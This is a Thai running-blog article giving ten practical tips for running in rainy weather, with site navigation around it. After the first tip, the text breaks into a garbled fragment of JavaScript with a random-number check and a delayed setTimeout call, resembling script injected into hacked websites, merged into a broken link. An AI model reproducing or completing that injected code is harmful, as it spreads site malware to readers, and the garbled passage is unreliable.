• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home News

นักวิ่งไม่กลัวฝน: เทคนิควิ่งเอาตัวรอดในวันฝนตกแบบง่ายๆ

kan by kan
23 May 2019
in News, Running Tips
0
นักวิ่งไม่กลัวฝน: เทคนิควิ่งเอาตัวรอดในวันฝนตกแบบง่ายๆ
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

รู้หรือไม่ การวิ่งในช่วงฝนตกจะช่วยให้เราวิ่งได้เร็วขึ้น สาเหตุเพราะเมื่อเวลามีฝนตก อุณหภูมิอากาศจะลดลง ช่วยให้ร่างกายนักวิ่งสามารถถ่ายเทความร้อนจาก core body ได้ดี เราจึงสามารถอัดแรงเพิ่มสปีดเพิ่มขึ้นได้ และนอกเหนือจากประโยชน์ที่ช่วยเพิ่มวามเร็วแล้ว การวิ่งในช่วงฝนตก ยังช่วยปรับสภาพจิตใจให้แข็งแกร่งมั่นคงมากขึ้น ให้ร่างกายและจิตใจได้มีโอกาสต้องต่อสู้กับสภาวะที่ไม่อาจความคุมได้ ช่วยในการรู้จักการเตรียมตัวเตรียมอุปกรณ์ให้เข้ากับสถานการณ์และยังช่วยลดความเครียดจากการทำงานลงได้ด้วย เสียงเม็ดฝนและความเงียบสงบจะช่วยชะล้างจิตใจให้สะอาด ความเงียบบนเส้นทางและการอยู่กับตัวเอง ช่วยเพิ่มสติและการคิดอ่านให้ใสชัดเจนมากขึ้น

นักวิ่งไม่กลัวฝน: เทคนิควิ่งเอาตัวรอดในวันฝนตกแบบง่ายๆ

สำหรับใครที่วางแผนจะวิ่งในช่วงหน้าฝนนี้ หากวันไหนที่มีฝนตก กำลังตกพร่ำๆ และฝนไม่ตกแบบรุนแรงมากจนเป็นอันตราย เราแนะนำเทคนิคต่อไปนี้ จะช่วยให้คุณไม่พลาดแผนการฝึกวิ่งหรือจะทำให้คุณวิ่งได้สนุกมากขึ้น

1. สวมหมวกแก๊ป และลองแบบที่มีปีกยาวสักนิด นอกจากจะช่วยกันแดดแล้ว ยังจะช่วยป้องกันเม็ดฝนกระเด็นหรือน้ำฝนไหลซึมเข้าตา หมวกแก๊ปยังช่วยป้องกันอุณหภูมิศีรษะไม่ให้ลดลงอย่างรวดเร็วด้วย


andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-activities/running/what-you-need-to-prepare-for-running-in-the-rain-2″>PRO TIPS | DICK’S Sporting Goods

2. ถ้ามีโอกาสวิ่งในเมืองนอก เวลาฝนตก อุณหภูมิมันจะลดลงและอากาศหนาวมากกว่าเดิม ให้มองหาเสื้อ base layer และเสื้อกันฝนกันลมแบบผ้า Gore-tech มาสวมใส่ โดยที่เนื้อผ้าจะสามารถกันน้ำได้ระดับหนึ่งและระบายอากาศในเวลาเดียวกันได้ด้วย

3. ไม่ต้องแต่งองค์ทรงเครื่องเยอะ เสื้อผ้าเน้นน้อยชิ้นแต่สามารถระบายอากาศและแห้งเร็วได้ บางทีชุดก็คล้ายๆ กับชุดวิ่งตอนอากาศร้อน แต่สีสันเน้นให้สีจัด สีแสบ สามารถมองเห็นได้แต่ไกลหน่อย ให้คนที่วิ่งตามหลังหรือคนที่ขับรถไปมาสามารถมองเห็นได้

4. ป้องกันแผลที่เกิดจากการเสียดสี ด้วยวาสลีน โดยทาตามง่ามขาง่ามเท้า โดยให้คิดเสมือนว่าเราจะออกไปวิ่งระยะทางไกลอย่างมาราธอน นอกจากนี้ก็เลี่ยงเนื้อผ้าที่ทำจาก cotton ด้วยเพราะมันจะดูดซับน้ำดี ใช้เวลาในการระบายหรือแห้งช้า มีโอกาสในการเกิดการเสียดสีระหว่างผิวหนังกับเสื้อผ้าสูง  

5. ไม่ต้องเอารองเท้าคู่โปรดมาวิ่งในช่วงฝนตก เอาคู่เก่ามาใส่วิ่งแทน ถ้ารู้ว่าฝนจะหยุดตกในไม่ช้า ก็แนะนำให้ลองใส่ถุงพลาสติกทับถุงเท้า เวลาฝนหยุดตก ถนนเริ่มแห้งก็ถอดเปลี่ยนใส่คู่ใหม่ดู และอย่าลืมตากรองเท้าเปียกให้แห้ง ม้วนเศษกระดาษหนังสือพิมพ์ใส่ในรองเท้า จะช่วยดูดซับน้ำและทำให้แห้งเร็วขึ้น การตั้งรองเท้าเปียกทิ้งไว้โดยไม่ตากฝึ่งให้แห้ง จะทำให้อายุรองเท้าลดลงและมีกลิ่นอับ


Verywell Fit

6. อุปกรณ์อิเล็กโทรนิคและเศษเงินต่างๆ ให้เก็บใส่ถุงพลาสติก หรือถ้ามีเป้น้ำ ก็แนะนำให้ใช้ถุงพลาสติกห่อและเก็บใส่กระเป๋าอีกที

7. ดูปริมาณฝนที่ตก เพราะถ้าหากตกแบบฟ้ารั่ว ตกหนักแบบมีพายุฝนฟ้าคะนอง ก้ไม่ควรออกไปวิ่ง

8. ลงเท้าให้มีสติและระวังมากขึ้น เพราะพื้นผิวถนนจะเปียกมีโอกาสลื่นล้มได้มาก หยุดการลงเท้าแบบกระทืบหนักๆ จินตนาการลงเท้าเหมือนกับการวิ่งเทรล


Verywell Fit

9. เตรียมผ้าขนหนูและเสื้อชุดลำลองไว้เปลี่ยนด้วย การวิ่งไปขณะที่เสื้อผ้าเปียกนานๆ จะทำให้ร่างกายเริ่มระบายอุณหภูมิได้ยากขึ้น ยิ่งในเมืองหนาวจะทำให้เกิดอาการหนาวสั่นจนเป็น  hypothermia ดังนั้นควรมีชุดสำรอง ถอดเปลี่ยนเมื่อฝนเริ่มเบาลงหรือหากวิ่งจบแล้วก็เช็ดตัวและปรับเปลี่ยนเสื้อผ้าทันที และนอกจากนี้ ถุงเท้าสำรองก็แนะนำให้พกติดตัวไว้ด้วย

10. มองหาพื้นที่ปิดหรือสวนสาธารณะเป็นพื้นที่วิ่ง และพยายามหลบเลี่ยงการวิ่งบนไหล่ถนน

ความลับอีกอย่างหนึ่งของการวิ่งในช่วงฝนตก จะช่วยให้ร่างกายเราสามารถเผาผลาญพลังงานได้มากขึ้นด้วยนะ เพราะอุณหภูมิลดลง ร่างกายจำเป็นต้องเผาผลาญพลังงานเพิ่มขึ้นเพื่อให้ร่างกายอบอุ่นขึ้น (เรียกว่าเผาเครื่องร้อนระดับหนึ่ง) ให้ร่างกาย active ไม่ซึมไปกับอากาศหนาวๆ   

อ้างอิง www.fleetfeet.com www.verywellfit.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • อาดิดาสเปิดตัวชุดออกกำลังกายผู้หญิงคอลเลคชั่น Must Have เพิ่มความมั่นใจกระชับทุกสัดส่วน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.